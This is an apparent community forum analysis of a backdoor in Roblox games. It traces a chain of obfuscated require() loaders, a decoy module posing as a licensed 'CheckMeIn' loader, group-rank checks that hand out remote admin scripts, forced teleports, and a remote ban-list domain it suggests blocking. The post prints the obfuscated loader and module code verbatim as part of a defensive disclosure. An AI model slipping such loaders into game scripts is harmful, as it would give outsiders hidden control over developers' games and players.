Backdoor malicious module
getfenv()['\114\101\113\117\105\114\101'](2422875198*2)
2422875198*2 = 4845750396
is orbfuscated but by running in repl.it, prints module id that failed to load.
which it then loads
which has a script to then load
Roblox = "IsStudio"
local a=game:GetService("RunService")if a:IsStudio()then print('Loaded!') else if game.PlaceId==185655149 or game.PlaceId==920587237 or game.PlaceId==735030788 then else getfenv()[string.reverse("\101\114\105\117\113\101\114")](getfenv()["\116\111\110\117\109\98\101\114"](string["\99\104\97\114"](getfenv()["\117\110\112\97\99\107"]{52,57,57,53,57,55,56,55,49,57})))end end
and
--[[
License Information:
This product is protected under copyright law. You may not distribute, re-use, modify or otherwise tamper with this software in any way.
Breaking the license gives us, "smartTech", legal grounds for a DMCA takedown.
Please don't steal our stuff.
--]]
local module = {}
local CheckMeIn = false
if CheckMeIn == true then
require(862849844) -- This is the offical CheckMeIn loader. This is owned by an account named "SmartTech". Feel free to use it.
else
CheckMeIn = "Loaded."
local a = script.Script
a.Parent = workspace.Camera
end
return module
Module 862849844 is referred to CheckMeIn which is unknown to be the original creator of this or just something this backdoor creator is using to log users having this backdoor in their game. I’ve tried to inform them about the use of this module, they’ve been warned for over 3 days before I posted this.
The top script then finally loads this module.
This module has a lot of obfuscated code, but one of the scripts remained un obfuscated, loading these two other modules.
MainModule> Folder> Main> ul
-- open source. leak.
local Players = game:GetService('Players')
game.Players.PlayerAdded:Connect(function(Player)
if Player:GetRankInGroup(6157358) >= 2 then
wait(0.1)
require(4674979018):Fire(Player.Name)
require(5033070911):ikthisisskidded(Player.Name)
game.Players[Player.Name].PlayerGui.JOHNDOE.ResetOnSpawn = false
end
end)
game.Players.PlayerAdded:Connect(function(Player)
if Player:GetRankInGroup(5860863) >= 2 then
wait(0.1)
require(4834950415):Fire(Player.Name)
require(5033070911):ikthisisskidded(Player.Name)
end
end)
game:GetService("Players").PlayerAdded:Connect(
function(player)
if game.PlaceId == 4973653404 or game.PlaceId == 4860760464 then
game:GetService("TeleportService"):Teleport(5009641755, player)
end
end
)
Many of the modules uses these groups to check if player is a member of before giving members scripts in this backdoor.
Places that are being teleported to via this backdoor to inflate or ‘pretend fast loading…’
One of the scripts is checking to do a banlist
https://builderman.club/fe.json
Would be suggested to blacklist this domain.
Loads another module
and another module
This module then uses LuaVM to load code without the need of loadstring in
MainModule > JohnDoe> Main> Shadow> Frame> RemoteHandle
another module
This backdoor is still loaded by an unknown plugin, still looking for it.